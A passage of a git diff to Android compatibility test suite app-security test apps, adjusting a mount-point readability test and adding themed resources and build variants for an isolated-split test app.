@@ -81,9 +81,17 @@
     public void testMountPointsNotReadable() throws Exception {
         final String userId = Integer.toString(android.os.Process.myUid() / 100000);
         final List<File> mountPaths = getMountPaths();
+        final String packageName = getContext().getPackageName();
         for (File path : mountPaths) {
             if (path.getAbsolutePath().startsWith("/mnt/")
                     || path.getAbsolutePath().startsWith("/storage/")) {
+                if (path.getAbsolutePath().endsWith("obb/" + packageName) ||
+                        path.getAbsolutePath().endsWith("data/" + packageName)) {
+                    // It happens when app data isolation is enabled, obb and data dir will
+                    // be mounted in app's mount namespace.
+                    // It's package's own obb / data dir, we allow it.
+                    continue;
+                }
                 // Mount points could be multi-user aware, so try probing both
                 // top level and user-specific directory.
                 final File userPath = new File(path, userId);
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/Android.bp b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/Android.bp
index ce2dcbd..5dcd148 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/Android.bp
@@ -18,13 +18,15 @@
     default_applicable_licenses: ["Android-Apache-2.0"],
 }
 
+TARGET_TEST_SUITES = [
+    "cts",
+    "general-tests",
+]
+
 android_test_helper_app {
     name: "CtsIsolatedSplitApp",
     defaults: ["cts_support_defaults"],
-    test_suites: [
-        "cts",
-        "general-tests",
-    ],
+    test_suites: TARGET_TEST_SUITES,
     sdk_version: "current",
     // Feature splits are dependent on this base, so it must be exported.
     export_package_resources: true,
@@ -33,8 +35,30 @@
     static_libs: [
         "ctstestrunner-axt",
         "androidx.test.rules",
+        "truth-prebuilt",
     ],
     srcs: ["src/**/*.java"],
     // Generate a locale split.
     package_splits: ["pl"],
+    use_embedded_native_libs: true, // default is true, android:extractNativeLibs="false"
+}
+
+android_test_helper_app {
+    name: "CtsIsolatedSplitAppExtractNativeLibsTrue",
+    defaults: ["cts_support_defaults"],
+    test_suites: TARGET_TEST_SUITES,
+    sdk_version: "current",
+    // Feature splits are dependent on this base, so it must be exported.
+    export_package_resources: true,
+    // Make sure our test locale polish is not stripped.
+    aapt_include_all_resources: true,
+    static_libs: [
+        "ctstestrunner-axt",
+        "androidx.test.rules",
+        "truth-prebuilt",
+    ],
+    srcs: ["src/**/*.java"],
+    // Generate a locale split.
+    package_splits: ["pl"],
+    use_embedded_native_libs: false, // android:extractNativeLibs="true"
 }
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/AndroidManifest.xml
index 6fab412..521a96b 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/AndroidManifest.xml
@@ -15,32 +15,35 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.isolatedsplitapp"
-    android:isolatedSplits="true"
-    android:targetSandboxVersion="2">
+     package="com.android.cts.isolatedsplitapp"
+     android:isolatedSplits="true"
+     android:targetSandboxVersion="2">
 
     <application android:label="IsolatedSplitApp">
 
-        <activity android:name=".BaseActivity">
+        <activity android:name=".BaseActivity" android:theme="@style/Theme_Base"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
-        
-        <service android:name=".BaseService" android:exported="true" />
-        
-        <receiver android:name=".BaseReceiver">
+
+        <service android:name=".BaseService"
+             android:exported="true"/>
+
+        <receiver android:name=".BaseReceiver"
+             android:exported="true">
             <intent-filter>
-                <action android:name="com.android.cts.isolatedsplitapp.ACTION" />
+                <action android:name="com.android.cts.isolatedsplitapp.ACTION"/>
             </intent-filter>
         </receiver>
-        
-        <uses-library android:name="android.test.runner" />
+
+        <uses-library android:name="android.test.runner"/>
 
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.isolatedsplitapp" />
+         android:targetPackage="com.android.cts.isolatedsplitapp"/>
 
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/TEST_MAPPING b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/TEST_MAPPING
new file mode 100644
index 0000000..cee8c59
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/TEST_MAPPING
@@ -0,0 +1,12 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsAppSecurityHostTestCases",
+      "options": [
+        {
+          "include-filter": "android.appsecurity.cts.IsolatedSplitsTests"
+        }
+      ]
+    }
+  ]
+}
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/Android.bp b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/Android.bp
index 814e038..e16150a 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/Android.bp
@@ -31,6 +31,7 @@
     // Make sure our test locale polish is not stripped.
     aapt_include_all_resources: true,
     srcs: ["**/*.java"],
+    resource_dirs: ["res"],
     // Generate a locale split.
     package_splits: ["pl"],
     libs: ["CtsIsolatedSplitApp"],
@@ -43,3 +44,31 @@
         "--package-id 0x80",
     ],
 }
+
+android_test_helper_app {
+    name: "CtsIsolatedSplitAppFeatureADiffRev",
+    defaults: ["cts_support_defaults"],
+    sdk_version: "current",
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    // Feature splits are dependent on this split, so it must be exported.
+    export_package_resources: true,
+    // Make sure our test locale polish is not stripped.
+    aapt_include_all_resources: true,
+    srcs: ["**/*.java"],
+    resource_dirs: ["res_diffrev"],
+    // Generate a locale split.
+    package_splits: ["pl"],
+    libs: ["CtsIsolatedSplitApp"],
+    // Although feature splits use unique resource package names, they must all
+    // have the same manifest package name to be considered one app.
+    aaptflags: [
+        "--rename-manifest-package com.android.cts.isolatedsplitapp",
+        // Assign a unique package ID to this feature split. Since these are
+        // isolated splits, it must only be unique across a dependency chain.
+        "--package-id 0x80",
+        "--revision-code 10"
+    ],
+}
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/AndroidManifest.xml
index d9ca271..e7c2016 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/AndroidManifest.xml
@@ -15,20 +15,22 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.isolatedsplitapp.feature_a"
-        featureSplit="feature_a"
-        android:targetSandboxVersion="2">
+     package="com.android.cts.isolatedsplitapp.feature_a"
+     featureSplit="feature_a"
+     android:targetSandboxVersion="2">
 
     <application>
-        <activity android:name=".FeatureAActivity">
+        <activity android:name=".FeatureAActivity" android:theme="@style/Theme_Feature_A"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
-        <receiver android:name=".FeatureAReceiver">
+        <receiver android:name=".FeatureAReceiver"
+             android:exported="true">
             <intent-filter>
-                <action android:name="com.android.cts.isolatedsplitapp.ACTION" />
+                <action android:name="com.android.cts.isolatedsplitapp.ACTION"/>
             </intent-filter>
         </receiver>
     </application>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res/drawable/feature_a_color_drawable.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res/drawable/feature_a_color_drawable.xml
new file mode 100644
index 0000000..cba22a6
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res/drawable/feature_a_color_drawable.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy of
+ * the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations under
+ * the License.
+ */
+-->
+<color xmlns:android="http://schemas.android.com/apk/res/android"
+       android:color="?attr/themePrimaryColor"/>
\ No newline at end of file
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res/layout/feature_a_textview.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res/layout/feature_a_textview.xml
new file mode 100644
index 0000000..fdc22fb
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res/layout/feature_a_textview.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2020 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+      https://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<TextView xmlns:android="http://schemas.android.com/apk/res/android"
+    android:id="@+id/feature_a_text"
+    android:layout_height="wrap_content"
+    android:layout_width="wrap_content"
+    android:text="@string/feature_a_string"
+    android:background="?android:attr/colorBackground">
+</TextView>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res/values-pl/colors.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res/values-pl/colors.xml
new file mode 100644
index 0000000..9fb73b9
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res/values-pl/colors.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources>
+    <color name="theme_base_color">@color/yellow</color>
+    <color name="theme_primary_color">@color/dark_gray</color>
+    <color name="theme_color_background">@color/gray</color>
+    <color name="navigation_bar_color">@color/light_gray</color>
+    <color name="status_bar_color">@color/blue</color>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res/values-pl/values.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res/values-pl/values.xml
index 2929156..aef6469 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res/values-pl/values.xml
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res/values-pl/values.xml
@@ -16,4 +16,5 @@
 
 <resources>
     <string name="feature_a_string">Feature A String Polish</string>
+    <string name="theme_name">Feature A Theme Polish</string>
 </resources>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res/values/attrs.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res/values/attrs.xml
new file mode 100644
index 0000000..efd04b8
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res/values/attrs.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources>
+    <attr name="themePrimaryColor" format="color|reference"/>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res/values/colors.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res/values/colors.xml
new file mode 100644
index 0000000..dd4e007
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res/values/colors.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources>
+    <color name="theme_base_color">@color/blue</color>
+    <color name="theme_primary_color">@color/gray</color>
+    <color name="theme_color_background">@color/light_gray</color>
+    <color name="navigation_bar_color">@color/dark_gray</color>
+    <color name="status_bar_color">@color/yellow</color>
+
+    <color name="blue">#ff0000ff</color>
+    <color name="gray">#ff888888</color>
+    <color name="light_gray">#ff444444</color>
+    <color name="dark_gray">#ffcccccc</color>
+    <color name="yellow">#ffffff00</color>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res/values/styles.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res/values/styles.xml
new file mode 100644
index 0000000..f1d6f91
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res/values/styles.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources xmlns:android="http://schemas.android.com/apk/res/android"
+           xmlns:base="http://schemas.android.com/apk/res/com.android.cts.isolatedsplitapp">
+    <style name="Theme_Feature_A" parent="@base:style/Theme_Base">
+        <item name="base:themeName">@string/theme_name</item>
+        <item name="base:themeBaseColor">@color/theme_base_color</item>
+        <item name="themePrimaryColor">@color/theme_primary_color</item>
+        <item name="android:colorBackground">@color/theme_color_background</item>
+        <item name="android:windowBackground">@drawable/feature_a_color_drawable</item>
+        <item name="android:navigationBarColor">@color/navigation_bar_color</item>
+        <item name="android:statusBarColor">@color/status_bar_color</item>
+    </style>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res/values/values.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res/values/values.xml
index dc1289c..6310ae1 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res/values/values.xml
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res/values/values.xml
@@ -16,4 +16,5 @@
 
 <resources>
     <string name="feature_a_string">Feature A String Default</string>
+    <string name="theme_name">Feature A Theme</string>
 </resources>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res_diffrev/drawable/feature_a_color_drawable.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res_diffrev/drawable/feature_a_color_drawable.xml
new file mode 100644
index 0000000..cba22a6
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res_diffrev/drawable/feature_a_color_drawable.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy of
+ * the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations under
+ * the License.
+ */
+-->
+<color xmlns:android="http://schemas.android.com/apk/res/android"
+       android:color="?attr/themePrimaryColor"/>
\ No newline at end of file
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res_diffrev/layout/feature_a_textview.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res_diffrev/layout/feature_a_textview.xml
new file mode 100644
index 0000000..fdc22fb
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res_diffrev/layout/feature_a_textview.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2020 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+      https://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<TextView xmlns:android="http://schemas.android.com/apk/res/android"
+    android:id="@+id/feature_a_text"
+    android:layout_height="wrap_content"
+    android:layout_width="wrap_content"
+    android:text="@string/feature_a_string"
+    android:background="?android:attr/colorBackground">
+</TextView>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res_diffrev/values-pl/colors.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res_diffrev/values-pl/colors.xml
new file mode 100644
index 0000000..c071bb7
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res_diffrev/values-pl/colors.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources>
+    <color name="theme_base_color">@color/blue</color>
+    <color name="theme_primary_color">@color/yellow</color>
+    <color name="theme_color_background">@color/dark_gray</color>
+    <color name="navigation_bar_color">@color/gray</color>
+    <color name="status_bar_color">@color/light_gray</color>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res_diffrev/values-pl/values.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res_diffrev/values-pl/values.xml
new file mode 100644
index 0000000..1caedf6
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res_diffrev/values-pl/values.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources>
+    <string name="feature_a_string">Feature A String Polish Diff Revision</string>
+    <string name="theme_name">Feature A Theme Polish Diff Revision</string>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res_diffrev/values/attrs.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res_diffrev/values/attrs.xml
new file mode 100644
index 0000000..efd04b8
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res_diffrev/values/attrs.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources>
+    <attr name="themePrimaryColor" format="color|reference"/>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res_diffrev/values/colors.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res_diffrev/values/colors.xml
new file mode 100644
index 0000000..70756b1
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res_diffrev/values/colors.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources>
+    <color name="theme_base_color">@color/yellow</color>
+    <color name="theme_primary_color">@color/blue</color>
+    <color name="theme_color_background">@color/gray</color>
+    <color name="navigation_bar_color">@color/light_gray</color>
+    <color name="status_bar_color">@color/dark_gray</color>
+
+    <color name="blue">#ff0000ff</color>
+    <color name="gray">#ff888888</color>
+    <color name="light_gray">#ff444444</color>
+    <color name="dark_gray">#ffcccccc</color>
+    <color name="yellow">#ffffff00</color>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res_diffrev/values/styles.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res_diffrev/values/styles.xml
new file mode 100644
index 0000000..f1d6f91
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res_diffrev/values/styles.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources xmlns:android="http://schemas.android.com/apk/res/android"
+           xmlns:base="http://schemas.android.com/apk/res/com.android.cts.isolatedsplitapp">
+    <style name="Theme_Feature_A" parent="@base:style/Theme_Base">
+        <item name="base:themeName">@string/theme_name</item>
+        <item name="base:themeBaseColor">@color/theme_base_color</item>
+        <item name="themePrimaryColor">@color/theme_primary_color</item>
+        <item name="android:colorBackground">@color/theme_color_background</item>
+        <item name="android:windowBackground">@drawable/feature_a_color_drawable</item>
+        <item name="android:navigationBarColor">@color/navigation_bar_color</item>
+        <item name="android:statusBarColor">@color/status_bar_color</item>
+    </style>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res_diffrev/values/values.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res_diffrev/values/values.xml
new file mode 100644
index 0000000..a6bdeaa
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res_diffrev/values/values.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources>
+    <string name="feature_a_string">Feature A String Diff Revision</string>
+    <string name="theme_name">Feature A Theme Diff Revision</string>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/src/com/android/cts/isolatedsplitapp/feature_a/FeatureAActivity.java b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/src/com/android/cts/isolatedsplitapp/feature_a/FeatureAActivity.java
index df06bd9..3a0e961 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/src/com/android/cts/isolatedsplitapp/feature_a/FeatureAActivity.java
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/src/com/android/cts/isolatedsplitapp/feature_a/FeatureAActivity.java
@@ -15,8 +15,18 @@
  */
 package com.android.cts.isolatedsplitapp.feature_a;
 
+import android.os.Bundle;
+import android.widget.LinearLayout;
+
 import com.android.cts.isolatedsplitapp.BaseActivity;
 
 public class FeatureAActivity extends BaseActivity {
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
 
+        final LinearLayout linearLayout = findViewById(
+                com.android.cts.isolatedsplitapp.R.id.base_layout);
+        getLayoutInflater().inflate(R.layout.feature_a_textview, linearLayout);
+    }
 }
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/AndroidManifest.xml
index 8b4f16d..35e924f 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/AndroidManifest.xml
@@ -15,22 +15,24 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.isolatedsplitapp.feature_b"
-        featureSplit="feature_b"
-        android:targetSandboxVersion="2">
+     package="com.android.cts.isolatedsplitapp.feature_b"
+     featureSplit="feature_b"
+     android:targetSandboxVersion="2">
 
-    <uses-split android:name="feature_a" />
+    <uses-split android:name="feature_a"/>
 
     <application>
-        <activity android:name=".FeatureBActivity">
+        <activity android:name=".FeatureBActivity" android:theme="@style/Theme_Feature_B"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
-        <receiver android:name=".FeatureBReceiver">
+        <receiver android:name=".FeatureBReceiver"
+             android:exported="true">
             <intent-filter>
-                <action android:name="com.android.cts.isolatedsplitapp.ACTION" />
+                <action android:name="com.android.cts.isolatedsplitapp.ACTION"/>
             </intent-filter>
         </receiver>
     </application>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/res/drawable/feature_b_color_drawable.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/res/drawable/feature_b_color_drawable.xml
new file mode 100644
index 0000000..ce4a7a4
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/res/drawable/feature_b_color_drawable.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy of
+ * the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
